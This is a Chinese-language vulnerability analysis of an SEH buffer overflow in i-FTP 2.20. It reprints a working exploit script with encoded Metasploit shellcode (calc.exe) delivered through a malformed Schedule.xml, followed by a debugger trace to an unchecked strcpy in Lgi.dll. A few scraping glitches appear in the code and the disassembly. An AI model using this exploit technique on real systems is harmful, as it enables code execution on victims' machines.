i-FTP SEH缓冲区溢出漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载:
https://www.exploit-db.com/apps/7377f411528a83d87085c3ef3a56edbe-iftp-win32-v220.exe

PoC:

#!/usr/bin/python
#Exploit Title:i-FTP Buffer Overflow SEH
#Homepage:http://www.memecode.com/iftp.php
#Software Link:www.memecode.com/data/iftp-win32-v220.exe
#Version:i.Ftp v2.20 (Win32 Release)
#Vulnerability discovered:26.10.2014
#Description:Simple portable cross platform FTP/SFTP/HTTP client.
#Tested on:Win7 32bit EN-Ultimate - Win8.1-DE 64bit - Win XPsp3-EN
#Exploit Author:metacom  --> twitter.com/m3tac0m
 
import struct
def little_endian(address):
  return struct.pack("<L",address)
poc ="\x41" * 591
poc+="\xeb\x06\x90\x90"
poc+=little_endian(0x1004C31F)#1004C31F   5E   POP ESI
poc+="\x90" * 80
# msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R 
#| msfencode -e x86/alpha_upper -b "\x00\x0a\x0d\x20\x22" -t c
poc+=("\x89\xe7\xda\xce\xd9\x77\xf4\x58\x50\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x35\x50"
"\x53\x30\x55\x50\x43\x50\x4d\x59\x4d\x35\x46\x51\x39\x42\x55"
"\x34\x4c\x4b\x51\x42\x30\x30\x4c\x4b\x51\x42\x44\x4c\x4c\x4b"
"\x51\x42\x32\x34\x4c\x4b\x54\x32\x31\x38\x44\x4f\x58\x37\x30"
"\x4a\x57\x56\x50\x31\x4b\x4f\x36\x51\x4f\x30\x4e\x4c\x57\x4c"
"\x33\x51\x43\x4c\x44\x42\x46\x4c\x31\x30\x4f\x31\x58\x4f\x44"
"\x4d\x45\x51\x38\x47\x5a\x42\x5a\x50\x31\x42\x46\x37\x4c\x4b"
"\x46\x32\x42\x30\x4c\x4b\x30\x42\x47\x4c\x55\x51\x48\x50\x4c"
"\x4b\x51\x50\x44\x38\x4b\x35\x39\x50\x44\x34\x30\x4a\x53\x31"
"\x48\x50\x46\x30\x4c\x4b\x51\x58\x35\x48\x4c\x4b\x51\x48\x57"
"\x50\x45\x51\x58\x53\x4b\x53\x47\x4c\x47\x39\x4c\x4b\x37\x44"
"\x4c\x4b\x53\x31\x58\x56\x50\x31\x4b\x4f\x36\x51\x4f\x30\x4e"
"\x4c\x59\x51\x58\x4f\x54\x4d\x43\x31\x39\x57\x56\x58\x4b\x50"
"\x33\x45\x4b\x44\x43\x33\x43\x4d\x5a\x58\x47\x4b\x53\x4d\x31"
"\x34\x52\x55\x4a\x42\x50\x58\x4c\x4b\x50\x58\x57\x54\x43\x31"
"\x49\x43\x55\x36\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x30\x58\x45"
"\x4c\x55\x51\x58\x53\x4c\x4b\x34\x44\x4c\x4b\x43\x31\x38\x50"
"\x4c\x49\x30\x44\x31\x34\x57\x54\x51\x4b\x31\x4b\x53\x51\x30"
"\x59\x51\x4a\x36\x31\x4b\x4f\x4b\x50\x36\x38\x51\x4f\x51\x4a"
"\x4c\x4b\x55\x42\x4a\x4b\x4d\x56\x51\x4d\x42\x4a\x53\x31\x4c"
"\x4d\x4b\x35\x58\x39\x33\x30\x35\x50\x33\x30\x56\x30\x33\x58"
"\x30\x31\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4b"
"\x4e\x44\x4e\x56\x52\x5a\x4a\x53\x58\x39\x36\x4d\x45\x4f\x4d"
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x34\x46\x33\x4c\x54\x4a\x4b"
"\x30\x4b\x4b\x4b\x50\x53\x45\x45\x55\x4f\x4b\x50\x47\x52\x33"
"\x42\x52\x42\x4f\x42\x4a\x55\x50\x31\x43\x4b\x4f\x4e\x35\x53"
"\x53\x55\x31\x32\x4c\x45\x33\x46\x4e\x52\x45\x44\x38\x52\x45"
"\x55\x50\x41\x41")
poc+="\x90" * (20000 - len(poc))
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55"
header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" + poc 
footer = "\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a"
exploit =  header + footer
filename = "Schedule.xml"
file = open(filename , "w")
file.write(exploit)
print "\n[*]Vulnerable Created Schedule.xml!"
print "[*]Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp"
print "[*]Start IFTP"
print "[*]----------------------------------------------------"
file.close()
print '''

测试环境:
Windows xp sp3
Windbg
IDA pro

利用PoC生成一个畸形的xml配置文件,覆盖i-FTP文件,然后打开i-FTP,会接收到崩溃。


漏洞分析


此漏洞的问题出现在i-Ftp的Lgi.dll中,对于Schedule.xml中的Time没有进行长度检查,直接拷贝导致缓冲区溢出的发生,下面对漏洞详情进行分析。
首先Exploit会弹出计算器,为了有效的到达漏洞触发现场,我们修改Exploit改为Poc,以下为修改后的代码

import struct
poc = "\x41"*20000
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55"
header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" + poc 
footer = "\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a"
exploit =  header + footer
filename = "Schedule.xml"
file = open(filename , "w")
file.write(exploit)
print "\n[*]Vulnerable Created Schedule.xml!"
print "[*]Copy Schedule.xml to C:\Program Files\Memecode\i.Ftp"
print "[*]Start IFTP"
print "[*]----------------------------------------------------"
file.close()

利用OD打开程序,程序中断在SEH,被41414141覆盖,这里为了重现漏洞触发现场,我们直接在程序入口下断点,利用IDA找到程序入口

.text:0041C360 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:0041C360 _WinMain@16     proc near               ; CODE XREF: start+12F.p
.text:0041C360
.text:0041C360 var_14          = dword ptr -14h
.text:0041C360 var_10          = dword ptr -10h
.text:0041C360 var_8           = dword ptr -8
.text:0041C360 var_4           = dword ptr -4
.text:0041C360 hInstance       = dword ptr  4
.text:0041C360 hPrevInstance   = dword ptr  8
.text:0041C360 lpCmdLine       = dword ptr  0Ch
.text:0041C360 nShowCmd        = dword ptr  10h
.text:0041C360
.text:0041C360                 mov     eax, ds:?_lgi_app_instance@@3PAUHINSTANCE__@@A ; HINSTANCE__ * _lgi_app_instance

单步调试,到达0041c3c6的位置

0041C3C6  |.  E8 A5FBFEFF   call iftp.0040BF70

F8步过后程序进入异常处理流程,重启程序跟入这个函数,单步到达0040c000的位置,程序中断

0040C000  |.  FF15 C0574400 call dword ptr ds:[<&Lgi.?Run@GApp@@UAE_>;  Lgi.?Run@GApp@@UAE_N_NP6A_NPAX@Z1@Z

此函数输入Lgi.dll模块,是iFtp中的一个动态链接库
![](http://images.sebug.net/contribute/4e34c9db-66af-452f-80b6-c24358638d09-QQ图片20151018134809.png)
单步之后进入循环

10026C2E    8B46 D4         mov eax,dword ptr ds:[esi-2C]
10026C31    3858 38         cmp byte ptr ds:[eax+38],bl
10026C34    75 6E           jnz short Lgi.10026CA4
10026C36    53              push ebx
10026C37    53              push ebx
10026C38    8D45 E4         lea eax,dword ptr ss:[ebp-1C]
10026C3B    53              push ebx
10026C3C    50              push eax
10026C3D    FF15 A0840710   call dword ptr ds:[<&USER32.GetMessageA>>; USER32.GetMessageA
10026C43    85C0            test eax,eax
10026C45    7E 5D           jle short Lgi.10026CA4
10026C47    8D45 E4         lea eax,dword ptr ss:[ebp-1C]
10026C4A    50              push eax
10026C4B    FF15 9C840710   call dword ptr ds:[<&USER32.TranslateMes>; USER32.TranslateMessage
10026C51    8D45 E4         lea eax,dword ptr ss:[ebp-1C]
10026C54    50              push eax
10026C55    FF15 98840710   call dword ptr ds:[<&USER32.DispatchMess>; USER32.DispatchMessageA
10026C5B  ^ EB D1           jmp short Lgi.10026C2E

通过ida反汇编可以看到伪代码

      while ( !*(_BYTE *)(*((_DWORD *)v4 - 11) + 56) && GetMessageA((LPMSG)&Dst, 0, 0, 0) > 0 )
      {
        TranslateMessage((const MSG *)&Dst);
        DispatchMessageA((const MSG *)&Dst);
      }

当执行到窗口i.Ftp时漏洞被触发,可以看到触发时参数状态

0012FE80   0012FE90  \pMsg = WM_TIMER hw = 340364 ("i.Ftp") ID = 9A2CF0 Callback = 1002AF9B

单步步入之后进入之后进入DispatchMessage处理函数,执行结束后返回到主模块,继续单步跟踪,到达0040708A的时候

EAX 00A00EDC ASCII "http://
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ECX 0045C78C ASCII "Time"
EDX 00000001
EBX 00000000
ESP 0012FC24
EBP 009A2EA4
ESI 009D67C0
EDI 100569EB Lgi.?GetAttr@GXmlTag@@QAEPADPAD@Z
EIP 0040708A iftp.0040708A

可以看到此时已经读取了Scheme.xml中的Time配置,这时Time已经被配置成畸形字符串,继续执行函数流程

0040708A   .  8BF8          mov edi,eax
0040708C   .  3BFB          cmp edi,ebx
0040708E   .  0F84 6B010000 je iftp.004071FF
00407094   .  8D4C24 24     lea ecx,dword ptr ss:[esp+24]
00407098   .  FF15 44554400 call dword ptr ds:[<&Lgi.jQuery21408849931703880429_14451498980720GDateTime@@Q>;  Lgi.??0GDateTime@@QAE@XZ
0040709E   .  8D4C24 38     lea ecx,dword ptr ss:[esp+38]
004070A2   .  C78424 540100>mov dword ptr ss:[esp+154],4
004070AD   .  FF15 44554400 call dword ptr ds:[<&Lgi.??0GDateTime@@Q>;  Lgi.??0GDateTime@@QAE@XZ
004070B3   .  57            push edi                                 ;  Lgi.?GetAttr@GXmlTag@@QAEPADPAD@Z
004070B4   .  8D4C24 28     lea ecx,dword ptr ss:[esp+28]
004070B8   .  C68424 580100>mov byte ptr ss:[esp+158],5
004070C0   .  FF15 40554400 call dword ptr ds:[<&Lgi.?Set@GDateTime@>;  Lgi.?Set@GDateTime@@QAE_NPAD@Z

程序到达004070C0,执行lgi.dll中的SetGDateTime函数,这时漏洞被触发,跟入此函数

1001F485 >  55              push ebp
1001F486    8BEC            mov ebp,esp
1001F488    81EC 00010000   sub esp,100
1001F48E    53              push ebx
1001F48F    33DB            xor ebx,ebx
1001F491    395D 08         cmp dword ptr ss:[ebp+8],ebx
1001F494    56              push esi
1001F495    8BF1            mov esi,ecx
1001F497    74 42           je short Lgi.1001F4DB
1001F499    FF75 08         push dword ptr ss:[ebp+8]                ; iftp.0044677C
1001F49C    8D85 00FFFFFF   lea eax,dword ptr ss:[ebp-100]
1001F4A2    50              push eax
1001F4A3    E8 06840500     call <jmp.&MSVCRT.strcpy>

当执行到1001F4A3的strcpy函数的时候,程序异常跳转到SEH,查看这段函数的伪代码

char __stdcall GDateTime__Set(const char *Source)
{
  char v1; // bl@1
  char *v2; // eax@2
  char Src; // [sp+8h] [bp-100h]@2

  v1 = 0;
  if ( Source )
  {
    strcpy(&Src, Source);

以及栈空间

0012FB08   0012FB18  |dest = 0012FB18
0012FB0C   00A00EDC  \src = "http://
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...

此时Source的值已经变成畸形字符串,而对这个字符串没有进行有效的检查,因为strcpy函数导致了栈溢出的发生。

Comments
Write a Comment